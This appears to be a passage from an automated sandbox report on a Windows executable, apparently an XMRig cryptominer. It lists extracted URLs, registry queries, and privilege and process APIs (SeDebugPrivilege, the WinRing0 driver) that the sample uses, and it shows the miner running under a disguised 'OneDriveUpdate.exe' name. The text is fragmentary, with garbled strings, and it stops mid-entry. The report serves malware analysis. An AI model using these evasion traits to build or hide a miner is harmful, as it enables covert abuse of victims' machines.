Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://interpreted" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://);" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://addeventlistenerresponsible" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://.jpg" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://" - Source: "00000000-00004556.00000001.242060.4C5B3000.00000002.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl004>z" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,p=7zpu7zpy7zp\7z@69z" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l@19zquuusuuuhhsmookh@3:zhbpf1.2.840.10045.3.1.2@eckp1.2.840.10045.3.1.6@eckp1.2.156.11235.1.1.2.1@eckppx>z1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.9ecdp@on" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004556.00000001.242060.7A350000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004556.00000001.242060.7A747000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0eptl(*vm:wf" - Source: "00000000-00004556.00000001.242060.7A747000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0jp4&redmond1.9.16.1.420230921014952.272z0microsoft" - Source: "00000000-00004556.00000001.242060.7A747000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0@mt-bivop?u3gx%nhlj(ofv!@dqzs>snhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docwashington1redmond1microsoft" - Source: "00000000-00004556.00000001.242060.7A78F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0sjv" - Source: "00000000-00004556.00000001.242060.7A78F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0w;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt00*dzx61/com/pki/" - Source: "00000000-00004556.00000001.242060.7A78F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smas.,k" - Source: "00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp") Found URL "http://www.microsoft.co/certs/microsoft%20time-stamp%20pca%202010(1).crt0\r]6x/6" - Source: "00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0\r]6x/6" - Source: "00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp") Found URL "https://daemon+http://aabbccddefgghhijmmnprrsttuuvwwxxyyzzotifyeep-aliveroxy-connectionptionsurcecribepgradeparameteruerylendarlushbscribesearchirectchunkedectionubscribenectchatchnkloseceparameterctivityransfer-encodingpgradenounceardowneckoutent-lengthnulljson-minimal-chain_mainreadysocket-typethis" - Source: "00000000-00005904.00000000.242202.7DB5F000.00000002.mdmp") Found URL "https://xmrig.com/docs/algorithms" - Source: "00000000-00005904.00000000.242202.7DB5F000.00000002.mdmp") Found URL "https://xmrig.com/benchmark/%s/1/benchmark/" - Source: "00000000-00005904.00000000.242202.7DB5F000.00000002.mdmp") Found URL "https://xmrig.com/wizard@g" - Source: "00000000-00005904.00000000.242202.7DB5F000.00000002.mdmp")52:T72b,Found registry query API: "RegGetValueW" in file "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" Found registry query API: "RegOpenKeyExW" in file "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" Found registry query API: "RegQueryValueExW" in file "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" Found registry query API: "g____PInvoke|13_0" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "g____PInvoke|9_0" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegQueryValueEx" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegOpenKeyEx" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegOpenKeyExWTU" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp" Found registry query API: "RegQueryValueExWTU" in "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp"53:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004556) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00004556) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00004556)54:Te35,Found string "EnableAES" (Indicator: "aes"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found string "net_http_parser_invalid_base64_string" (Indicator: "base64"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") file/memory contains long string with (Indicator: "aes"; File: "miner.log") Found string "in.base64" (Indicator: "base64"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "WriteBase64" (Indicator: "base64"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "ReadElementContentAsBase64" (Indicator: "base64"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "ToBase64String" (Indicator: "base64"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "ToBase64String" (Indicator: "ToBase64String"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found string "EnableAES" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "jovendichaestantalessalirsuelopesosfinesllamabusco" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "cuandoenviarmadridbuscariniciotiempoporquecuentaestadopuedenjuegoscontraest" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "alatinafuerzaestiloguerraentrar" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "deutscheuropeueuskaragaeilgesvenskaespa" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "digoportadaespaciofamiliaantoniopermiteguardaralgunaspreciosalguiensentidovisitast" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "ltimaestamosoficialtambienning" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "ncompletaestudiosp" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "aescribirmedicinalicenciaconsultaaspectoscr" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "aespecialesdisponibleactualidadreferenciavalladolidbibliotecarelacionescalendariopol" (Indicator: "aes"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp, 00000000-00001548.00000002.243806.B8C00000.00000004.mdmp")55:T820,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "g____PInvoke|25_0" (Indicator: "EnumProcesses"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "K32EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "K32EnumProcessesT" (Indicator: "EnumProcesses"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")56:T5b4,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "Failed to map file. GetFileSizeEx(%s) failed with error %d" (Indicator: "GetFileSize"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "Failed to map file. GetFileSizeEx(%s) failed with error %d" (Indicator: "GetFileSize"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")57:T5c4,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00004556-00000C2C-2766824830") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004556-00000C2C-2766825328") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00004556-00000C2C-2766825370") Found string "g____PInvoke|24_0" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "g____PInvoke|6_0" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "GetOrOpenProcessHandle" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")58:Teec,Found string "\Device\WinRing0_1_2_0" (Indicator: "\Device\"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found string "\DosDevices\WinRing0_1_2_0" (Indicator: "\DosDevices\"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found string "\Device\HarddiskVolume3\Windows\System32\net.exe" (Indicator: "\Device\"; Source: "00000000-00001548-00000BC0-2747336629") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00001548-00000BC0-2762406779") Found string "\Device\HarddiskVolume3\bin\xmrig.exe" (Indicator: "\Device\"; Source: "00000000-00001548-00000BC0-2772907230") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdate.exe" (Indicator: "\Device\"; Source: "00000000-00003544-00000BC0-2779334194") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00005904-00000BC0-2779571223") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001200.00000000.240807.413A0000.00000004.mdmp, 00000000-00001200.00000000.240807.415B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001200.00000000.240807.413A0000.00000004.mdmp, 00000000-00001200.00000000.240807.415B0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\net1.exe" (Indicator: "\Device\"; Source: "00000000-00001200.00000000.240807.413A0000.00000004.mdmp") Found string "stem32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001200.00000000.240807.413A0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Indicator: "\Device\"; Source: "00000000-00001548.00000000.239967.B3DC0000.00000004.mdmp, 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp, 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001548.00000000.239967.B3DC0000.00000004.mdmp, 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp, 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001548.00000000.239967.B3DC0000.00000004.mdmp, 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp, 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001548.00000000.239967.B3DC0000.00000004.mdmp, 00000000-00001548.00000000.239967.B40E0000.00000004.mdmp, 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp, 00000000-00001548.00000001.241886.B40E0000.00000004.mdmp, 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp, 00000000-00001548.00000002.243806.B40E0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001548.00000000.239967.B3DC0000.00000004.mdmp, 00000000-00001548.00000000.239967.B40E0000.00000004.mdmp, 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp, 00000000-00001548.00000001.241886.B40E0000.00000004.mdmp, 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp, 00000000-00001548.00000002.243806.B40E0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001548.00000000.239967.B4480000.00000002.mdmp, 00000000-00001548.00000001.241886.B4480000.00000002.mdmp, 00000000-00001548.00000002.243806.B4480000.00000002.mdmp")59:T7f0,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001548.00000001.241886.80D10000.00000004.mdmp") Found reference to API "g____PInvoke|7_0" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "g____PInvoke|9_0" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "LookupPrivilegeValue" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "LookupPrivilegeValueWT" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")5a:T50b,Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "System.Runtime.CompilerServices.IgnoresAccessChecksToAttribute" (Indicator: "AccessCheck"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "IgnoresAccessChecksToAttribute" (Indicator: "AccessCheck"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")5b:T478,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "g____PInvoke|22_0" (Indicator: "TerminateProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "SafeExitProcess: exitCode = %d sca = %d" (Indicator: "ExitProcess"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "In EEPolicy::HandleExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")5c:T96d,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\NET.EXE"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\BIN\XMRIG.EXE"; Value: "") "net1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "xmrig.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\USERS\HAPUBWS\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\UPDATE\ONEDRIVEUPDATE.EXE"; Value: "") "OneDriveUpdate.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "OneDriveUpdate.exe" (Access type: 